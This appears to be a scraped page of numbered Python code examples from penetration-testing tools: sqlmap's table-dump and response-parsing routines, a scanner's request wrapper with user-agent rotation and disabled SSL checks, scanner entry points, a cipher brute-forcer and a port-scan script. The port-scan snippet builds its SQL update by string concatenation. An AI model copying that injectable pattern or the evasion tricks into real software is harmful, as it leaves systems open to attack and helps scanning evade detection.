            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank),
                                newline=False,
                                console=console)

                    if len(value
                           ) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(
                                    mimetype.startswith(_)
                                    for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath, 0755)

                                filepath = os.path.join(
                                    dumpDbPath, "%s-%d.bin" %
                                    (unsafeSQLIdentificatorNaming(column),
                                     randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (
                                    mimetype, filepath)
                                logger.warn(warnMsg)

                                with open(filepath, "wb") as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)
                        except magic.MagicException, err:
                            logger.debug(str(err))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(
                            dumpFP, "<td>%s</td>" % cgi.escape(value).encode(
                                "ascii", "xmlcharrefreplace"))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tr>\n")

            self._write("|", console=console)
Ejemplo n.º 46
0
    async def _request(self, method, url, **kwargs):
        headers = kwargs.get('headers')
        if headers == None:
            headers = {}

        if 'Accept' not in headers.keys():
            headers[
                "Accept"] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'

        if 'Accept-Charset' not in headers.keys():
            headers["Accept-Charset"] = 'GB2312,utf-8;q=0.7,*;q=0.7'

        if 'Accept-Encoding' not in headers.keys():
            # headers["Accept-Encoding"] = 'gzip, deflate, sdch, br'
            headers["Accept-Encoding"] = 'gzip, deflate, sdch'

        headers['Referer'] = url
        if 'User-Agent' not in headers.keys(
        ) or 'aiohttp' in headers["User-Agent"]:
            headers["User-Agent"] = random.choice(USER_AGENTS)

        # random_ip = random_IP()
        # if 'Client_IP' not in headers.keys():
        #     headers['Client_IP'] = random_ip
        # if 'X-Forwarded-For' not in headers.keys():
        #     headers['X-Forwarded-For'] = random_ip

        kwargs.setdefault('headers', headers)
        kwargs.setdefault('verify_ssl', False)

        if self._limit:
            await self._limit.wait_available()
        total = self._max_fail_retries if method.lower() == 'get' else 0

        timeout = int(conf['basic']['timeout'])

        if 'timeout' not in kwargs.keys():
            kwargs.setdefault('timeout', timeout)

        # if kwargs.get('proxy') is None:
        #     try:
        #         if True:
        #             proxy = 'http://localhost:8080/'
        #             kwargs.setdefault('proxy', proxy)
        #     except KeyError as e:
        #         logger.error("Load tentacle config error: %s, please check the config in tentacle.conf." % e)

        for count in range(total):
            resp = None
            try:
                resp = await super()._request(method, url, **kwargs)
                return resp
            except Exception as ex:
                pass
            logger.warning(
                'request to {url} failed, retrying ({count} / {total})...')
            if resp:
                resp.close()
            await asyncio.sleep(self._retry_interval)
        try:
            return await super()._request(method, url, **kwargs)
        except TooManyRedirects:
            kwargs.setdefault('max_redirects', 3)
            try:
                return await self._request(method, url, **kwargs)
            except:
                return None
        except (ClientOSError, ClientResponseError, ClientConnectorError,
                ServerDisconnectedError):
            return None
        except Exception as e:
            if get_safe_ex_string(e).strip(
            ) != '' and 'InvalidServerVersion' not in get_safe_ex_string(
                    e) and 'Unexpected SOCKS' not in get_safe_ex_string(e):
                # errmsg = traceback.format_exc()
                # logger.error(errmsg)
                logger.error("Curl error: %s for %s" %
                             (get_safe_ex_string(e), url))
            return None
Ejemplo n.º 47
0
        cur = conn.cursor()
        cur.execute("update host set port='"+ports+"' where id="+ID)
        conn.commit()
    except Exception as e:
        logger.warning(e)
        return

if __name__ == '__main__':
    conn = connectdb()
    tasks = readTarget(conn)
    while tasks.empty() == False:
        target = tasks.get()
        Id = target[0]
        ip = target[1]
        try:
            b = port_scanner(ip)
            result = b[ip]['port']
        except Exception as e:
            #print "Error" + str(Id)
            logger.warning(e)
            continue
        print result
        ports = ''
        for i in result:
            for l in i.keys():
                if isinstance(l, int):
                    if i[l] == 'open':
                        ports += str(l) + ','
        ports = ports.rstrip(',')
        writedb(conn, ports, str(Id))
    conn.close()
Ejemplo n.º 48
0
        prt('vulnscan_paths', vulnscan_paths)
        init_all_plugins()
        set_running_options(args)

        # 开始扫描
        # 默认使用console模式
        if not args.graphic:
            console_main()
        else:
            graphic_main()

    except ToolkitMissingPrivileges as e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitSystemException as e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitUserQuitException:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except KeyboardInterrupt:
        print('\nCtrl+C Stop running\n')
        sys.exit(0)
        systemQuit(EXIT_STATUS.USER_QUIT)

    except Exception:
        print(traceback.format_exc())
        logger.warning('It seems like you reached a unhandled exception.')
Ejemplo n.º 49
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if hasattr(conf, "api"):
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())
            appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop))
            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            documentNode = getDOMImplementation().createDocument(None, "table", None)
            tableNode = documentNode.documentElement

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            headNode = documentNode.createElement("thead")
            rowNode = documentNode.createElement("tr")
            tableNode.appendChild(headNode)
            headNode.appendChild(rowNode)
            bodyNode = documentNode.createElement("tbody")
            tableNode.appendChild(bodyNode)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        entryNode = documentNode.createElement("td")
                        rowNode.appendChild(entryNode)
                        entryNode.appendChild(documentNode.createTextNode(column))

                field += 1

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                rowNode = documentNode.createElement("tr")
                bodyNode.appendChild(rowNode)

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(mimetype.startswith(_) for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath, 0755)

                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                logger.warn(warnMsg)

                                with open(filepath, "wb") as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)
                        except magic.MagicException, err:
                            logger.debug(str(err))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        entryNode = documentNode.createElement("td")
                        rowNode.appendChild(entryNode)
                        entryNode.appendChild(documentNode.createTextNode(value))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")

            self._write("|", console=console)
Ejemplo n.º 50
0
def runCipher():

    text = conf.text

    if not conf.file:

        msg = "[+] The input text is \033[40m%s\033[0m and length is %d\n" % (text, len(text))
        dataToStdout(msg)


    if not conf.brute:
        msg = "Starting cipher module."
        logger.info(msg)

        mode = "encrypt" if conf.encrypt else "decrypt"
        key = conf.key
        result = ru.cipherfunc(text, key, mode)

        if conf.lower:
            result = result.lower

        msg = "[+] Work done!\n"
        msg += "[+] Result is \033[40m%s\033[0m\n" % result
        dataToStdout(msg)
        pyperclip.copy(result)
        msg = "[+] Result copying to clipboard, use Ctrl+v to paste.\n"
        dataToStdout(msg)

    else:
        msg = "Starting bruter module."
        logger.info(msg)

        msg = "Starting bruter successfully."
        logger.info(msg)
        msg = 'Start bruting...'
        logger.info(msg)

        result = ru.cipherfunc(text)

        if conf.lower:
            for key in list(result.keys()):
                result[key] = result[key].lower()

        if result != None:
            if conf.verbose:
                msg = "All the possible result:"
                logger.info(msg)
                for key in result.keys():
                    msg = "[+] Key %s: \033[40m%s\033[0m\n" % (key, result[key])
                    dataToStdout(msg)

            else:
                count = 0
                for key in result.keys():
                    if isEnglish(result[key]):
                        count += 1
                        msg = 'Possible encryption hack %d:' % count
                        logger.info(msg)
                        msg = "[+] Possible encryption hack with key %s: \033[40m%s\033[0m\n" % (key, result[key])
                        dataToStdout(msg)
                        pyperclip.copy(result[key])
                        msg = "[+] Result copying to clipboard, use Ctrl+v to paste.\n"
                        dataToStdout(msg)
                if count == 0:
                    msg = "No possible sentence found, use -v to see the full result."
                    logger.warning(msg)
        else:
            msg = "No possible result found."
            logger.critical(msg)
Ejemplo n.º 51
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if conf.replicate:
            replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        else:
            dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))

            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table))
            dumpFP = openFile(dumpFileName, "wb")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (db if db else "Current database", table))

        if conf.replicate:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((column, colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), n=False)

                if not conf.replicate:
                    if field == fields:
                        dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                    else:
                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))

                field += 1

        self._write("|\n%s" % separator)

        if not conf.replicate:
            dataToDumpFile(dumpFP, "\n")

        if conf.replicate:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = {" ": NULL, "": BLANK}.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), n=False, console=console)

                    if not conf.replicate:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))

                    field += 1

            if conf.replicate:
                try:
                    rtable.insert(values)
                except sqlmapValueException:
                    pass

            self._write("|", console=console)

            if not conf.replicate:
                dataToDumpFile(dumpFP, "\n")

        self._write("%s\n" % separator)

        if conf.replicate:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 file '%s'" % (db, table, replication.dbpath))

        else:
            dataToDumpFile(dumpFP, "\n")
            dumpFP.close()
            logger.info("table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
Ejemplo n.º 52
0
        initOption(args)
        pluginScan()
        webScan()

    except ToolkitMissingPrivileges, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitSystemException, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitUserQuitException:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except ToolkitPluginException, e:
        createIssueForBlog(e)
        logger.warning(
            'It seems like you reached a unhandled exception, We have automatically uploaded the exception information, please wait for a later update.')

    except KeyboardInterrupt:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except Exception as info:
        logger.warning("error:%s " % (str(Exception) + " " + str(info)))
        logger.warning('It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/boy-hacl/w9scan/issues/new>.')


if __name__ == '__main__':
    main()
Ejemplo n.º 53
0
def processResponse(page, responseHeaders, status=None):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(
        page, responseHeaders
        if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[
                        PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(
                    r"(?i)(%s=)[^&]+" % re.escape(name),
                    r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r"(?i)browser.?verification",
                                                page or ""):
        kb.browserVerification = True
        warnMsg = "potential browser verification protection mechanism detected"
        if re.search(r"(?i)CloudFlare", page):
            warnMsg += " (CloudFlare)"
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
                kb.captchaDetected = True
                warnMsg = "potential CAPTCHA protection mechanism detected"
                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
                    warnMsg += " (CloudFlare)"
                singleTimeWarnMessage(warnMsg)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = "it appears that you have been blocked by the target server"
        singleTimeWarnMessage(warnMsg)
Ejemplo n.º 54
0
        run()

        if conf.OPEN_BROWSER:
            openBrowser()

        systemQuit(EXIT_STATUS.SYSETM_EXIT)

    except ToolkitMissingPrivileges, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitSystemException, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitUserQuitException:
        systemQuit(EXIT_STATUS.USER_QUIT)
    except KeyboardInterrupt:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except Exception:
        print traceback.format_exc()
        logger.warning(
            'It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/Xyntax/POC-T/issues/new>.'
        )


if __name__ == "__main__":
    main()
Ejemplo n.º 55
0
        loadModule()  #加载poc脚本
        loadPayloads()  #配置扫描模式

        run()  #开始扫描

        systemQuit(EXIT_STATUS.SYSETM_EXIT)

    except ToolkitMissingPrivileges, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitSystemException, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitUserQuitException:
        systemQuit(EXIT_STATUS.USER_QUIT)
    except KeyboardInterrupt:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except Exception:
        print traceback.format_exc()
        logger.warning(
            'It seems like you reached a unhandled exception, please report it to :[email protected]'
        )


if __name__ == "__main__":
    main()
Ejemplo n.º 56
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if hasattr(conf, "api"):
            self._write(tableValues, content_type=API_CONTENT_TYPE.DUMP_TABLE)
            return

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))

            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())
            dumpFP = openFile(dumpFileName, "wb")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (db if db else "Current database", table))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((column, colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            documentNode = getDOMImplementation().createDocument(None, "table", None)
            tableNode = documentNode.documentElement

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            headNode = documentNode.createElement("thead")
            rowNode = documentNode.createElement("tr")
            tableNode.appendChild(headNode)
            headNode.appendChild(rowNode)
            bodyNode = documentNode.createElement("tbody")
            tableNode.appendChild(bodyNode)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if conf.dumpFormat == DUMP_FORMAT.CSV:
                    if field == fields:
                        dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                    else:
                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                elif conf.dumpFormat == DUMP_FORMAT.HTML:
                    entryNode = documentNode.createElement("td")
                    rowNode.appendChild(entryNode)
                    entryNode.appendChild(documentNode.createTextNode(column))

                field += 1

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                rowNode = documentNode.createElement("tr")
                bodyNode.appendChild(rowNode)

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        mimetype = magic.from_buffer(value, mime=True)
                        if any(mimetype.startswith(_) for _ in ("application", "image")):
                            filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (column, randomInt(8)))
                            warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                            logger.warn(warnMsg)

                            with open(filepath, "wb") as f:
                                _ = safechardecode(value, True)
                                f.write(_)

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        entryNode = documentNode.createElement("td")
                        rowNode.appendChild(entryNode)
                        entryNode.appendChild(documentNode.createTextNode(value))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")

            self._write("|", console=console)

        self._write("%s\n" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
                dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
                dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
                dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
                dataToDumpFile(dumpFP, "\n</head>\n")
                dataToDumpFile(dumpFP, tableNode.toxml())
                dataToDumpFile(dumpFP, "\n</html>")
            else:
                dataToDumpFile(dumpFP, "\n")
            dumpFP.close()
            logger.info("table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName))
Ejemplo n.º 57
0
        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue
Ejemplo n.º 58
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False
        warnFile = False

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if conf.api:
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                try:
                    os.makedirs(dumpDbPath)
                except:
                    warnFile = True

                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))

                    if not os.path.isdir(dumpDbPath):
                        try:
                            os.makedirs(dumpDbPath)
                        except Exception as ex:
                            tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
                            warnMsg = "unable to create dump directory "
                            warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex))
                            warnMsg += "Using temporary directory '%s' instead" % tempDir
                            logger.warn(warnMsg)

                            dumpDbPath = tempDir

